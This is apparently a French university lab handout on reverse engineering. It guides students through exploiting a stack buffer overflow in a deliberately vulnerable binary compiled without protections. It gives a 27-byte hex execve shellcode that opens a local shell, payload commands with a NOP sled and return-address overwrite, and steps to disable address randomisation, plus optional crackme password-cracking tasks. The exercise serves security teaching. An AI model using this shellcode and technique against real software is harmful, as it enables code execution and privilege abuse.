

TP — Reverse et exploitation d'un buffer overflow

Exercice 1 (Buffer Overflow). Le but de cet exercice est de détourner le flot de contrôle afin d'exécuter un code malicieux (ici l'ouverture d'un shell en local) en exploitant un buffer overflow dans le binaire fourni `bof_64`. L'exploitation se fait directement en injectant le shellcode et demande à ce que la pile soit exécutable (le binaire a été compilé en `gcc -fno-stack-protector -z execstack`). Le scénario se fait en 3 étapes :

1. identifier une vulnérabilité
2. trouver comment l'exploiter
3. mettre en place l'attaque (i.e. positionner et exécuter un shellcode).

1. Identifier une vulnérabilité

▷ **Question 1.** Décompiler le binaire `bof_64` avec Ghidra (voir l'annexe pour un rappel du mode d'emploi). Comprendre ce que fait `./bof_64` en fonction des arguments sur la ligne de commande : exécuter le sans argument puis avec une chaîne de caractères en argument. Où y a-t-il une vulnérabilité dans ce code ?

▷ **Question 2.** Lancer `./bof_64 $(python3 -c 'print("A"*300)')`. Que se passe-t-il ? Rejouer ce crash dans `gdb` pour expliquer ce qui le cause, en affichant l'état des registres impliqués (voir l'annexe pour un résumé des commandes `gdb`). Avec `gdb`, on fera aussi afficher l'état de la pile d'exécution de la fonction fautive juste après son prologue (c'est-à-dire juste après l'instruction qui réserve la place pour les variables locales dans la pile), puis juste avant son épilogue pour bien détailler l'effet de la vulnérabilité dans cette exécution. On rappellera au passage les conventions de liaison (ou ABI pour *Application Binary Interface*)¹ qui s'appliquent sur la fonction fautive.

2. Trouver comment exploiter la vulnérabilité

▷ **Question 3.** L'objectif est maintenant de trouver comment exploiter la vulnérabilité de façon à ce que l'instruction `ret` de la fonction vulnérable saute à l'adresse qu'on veut. Autrement dit, on cherche maintenant un L_1 tel que sous GDB, la commande `run $(python3 -c 'print("A"*L1+"B"*8)')` permette d'obtenir que la valeur que `ret` copie dans RIP au moment du crash corresponde à une séquence de 8 octets `0x42`, i.e. le code ASCII hexadécimal de "B".

3. Positionner et exécuter un shellcode

▷ **Question 4.** Nous allons ici utiliser un shell-code qui ouvre un shell en local. Ceci correspond à un utilisateur (éventuellement distant) qui peut ouvrir un shell avec les droits locaux de l'application vulnérable. Ceci est d'autant plus dangereux que les droits locaux sont puissants (exemple `root` ou phase de boot). Nous allons utiliser le shellcode (hexadécimal) suivant de taille 27 octets :

1. Voir https://wiki.osdev.org/System_V_ABI#x86-64.

31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05

obtenu sur <http://shell-storm.org/shellcode/files/shellcode-806.php>

L'attaque consiste à ranger le shellcode au début du buffer. Nous le précédons d'instructions NOP (instruction d'opcode 0x90) afin de permettre une imprécision sur l'adresse de début du shellcode (il suffira de sauter sur un des NOP qui précèdent - c'est une technique classique, dont on n'a pas vraiment besoin ici, mais qu'on montre au passage). L'attaque aura donc la forme suivante :

- une sequence de 16 NOPs
- le shell code
- une sequence de L_2 "A" (padding avant la réécriture de l'adresse de retour)
- l'adresse du shellcode (qu'on va déterminer aux questions suivantes)

Trouver le L_2 qu'il faut utiliser pour que l'attaque fonctionne (c'est-à-dire qui permette de faire RIP par `ret` comme précédemment), et vérifier ce calcul avec GDB. Typiquement, il faudra utiliser une commande comme ci-dessous, où SC est le shellcode hexadécimal ci-dessus (voir aussi des explications dans l'annexe) :

```
run $(printf $(python3 -c 'print("90"*16+SC+"41"*L2+"42"*8)' | sed -e "s/./\\x&/g"))
```

À partir de la valeur de RSP au moment du crash, le shellcode étant dans la pile, trouver l'adresse du shellcode et vérifier qu'il est désassemblé en les 13 instructions suivantes :

```
xor    %eax,%eax
movabs $0xff978cd091969dd1,%rbx
neg    %rbx
push  %rbx
push  %rsp
pop   %rdi
cld
push  %rdx
push  %rdi
push  %rsp
pop   %rsi
mov   $0x3b,%al
syscall
```

▷ **Question 5.** À partir de la question précédente, réaliser l'attaque dans GDB. Il suffit d'écrire l'adresse du shellcode trouvée précédemment à la place du "42"*8. Mais il faut l'écrire en commençant par les poids faibles (i.e. en inversant l'ordre des octets) pour que la copie en little-endian ait la bonne valeur.

▷ **Question 6.** On adapte maintenant cette attaque pour l'effectuer en dehors de GDB. On commence par modifier la configuration par défaut du shell :

```
ulimit -c unlimited # pour autoriser les "core dumps" arbitraires
setarch $(uname -m) -R /bin/bash # pour désactiver randomization des adresses
```

On lance d'abord la même commande que celle de la question 4 pour provoquer l'erreur de segmentation qui donnera un fichier `core.*`. En principe, ce fichier se trouve dans le répertoire courant. Mais dans certaines configurations Ubuntu, il est dans `/var/lib/appport/coredump/`.

Ensuite, on lance “`gdb ./bof_64 chemin_du_core`” pour rejouer l’exécution précédente dans `gdb`, ce qui permet de connaître l’adresse de RSP au moment du crash. Et in fine, on réexécute `./bof_64` avec l’argument qui le force à ouvrir un shell...

Exercice 2 (Reverse - exo optionnel pour ceux qui vont vite!).

▷ **Question 1.** L’objectif est de « craquer » le mot de passe dans chacun des 3 programmes exécutables : `crackme1` (très facile!), `crackme2` (un peu moins simple) et `crackme3` (clairement plus difficile!). Vous pouvez utiliser les outils que vous voulez...

Annexe : outils utiles dans ce TP

Ghidra Désassemblage & décompilation des binaires (<https://ghidra-sre.org/>). Pour l’utiliser :

- Lancer `ghidraRun &` (installation école `/opt/ghidra/ghidraRun`)
- Créer un nouveau projet : “File” puis “New Project” puis “Non-Shared Project”
- Donner un nom à “Project Name” (ex : TP-secu-acss)
- Puis cliquer sur codebrowser (l’icône en forme de dragon)
- Importer le fichier exécutable souhaité au projet : “File” puis “import file” puis nom-du-binaire.
- Lancer l’analyse du fichier et dans Symbol Tree puis fonctions, chercher la fonction que vous voulez analyser.

Utilisation de Python3

- Exemples de commandes Python3 utiles pour ce TP :

```
print(0x108)           # affiche 0x108 en décimal (=264)
print(hex(264))       # affiche 264 en hexadécimal (=0x108)
print("A"*4+"B"*2)    # affiche AAAABB
```

- Passer une chaîne fabriquée en Python en argument d’une commande du shell (ici `echo`) :

```
echo $(python3 -c 'print("A"*4+"B"*2)') # affiche AAAABB
```

- Passer une chaîne de code hexadécimal fabriquée en Python en argument d’une commande shell (même chose qu’au-dessus en passant par les codes hexadécimaux ascii 0x41 de A et 0x42 de B) :

```
echo $(printf $(python3 -c 'print("41"*4+"42"*2)' | sed -e "s/./\\x&/g"))
```

Utilisation de gdb On démarre avec la commande “`gdb exe`” pour analyser l’exécution du binaire `exe`. Voilà un résumé des commandes de `gdb` utiles pour ce TP :

disas *fun* désassemble la fonction *fun*

run *args* exécute le programme en passant *args* sur la ligne de commande. Exemple :

```
run $(python3 -c 'print("A"*300)')
```

b **addr* pose un point d’arrêt (breakpoint) à l’adresse *addr*. Exemple : `b *main+16` pose un point d’arrêt à l’instruction 16 de la fonction `main`.

stepi exécute la prochaine instruction assembleur (dont l'adresse est dans RIP).

continue reprend l'exécution après un point d'arrêt (suivi d'une exécution pas-à-pas).

i reg affiche le contenu de tous les registres

x/xg *addr* affiche le contenu mémoire d'un mot de 8 octets à l'adresse *addr*

x/42xg *addr* affiche le contenu mémoire des 42 mots (de 8 octets) à l'adresse *addr*

x/42xg \$rsp idem, l'adresse étant lue dans le contenu du registre RSP

x/13i \$rsp+42 affiche 13 instructions à partir de l'adresse obtenue en ajoutant 42 au contenu du registre RSP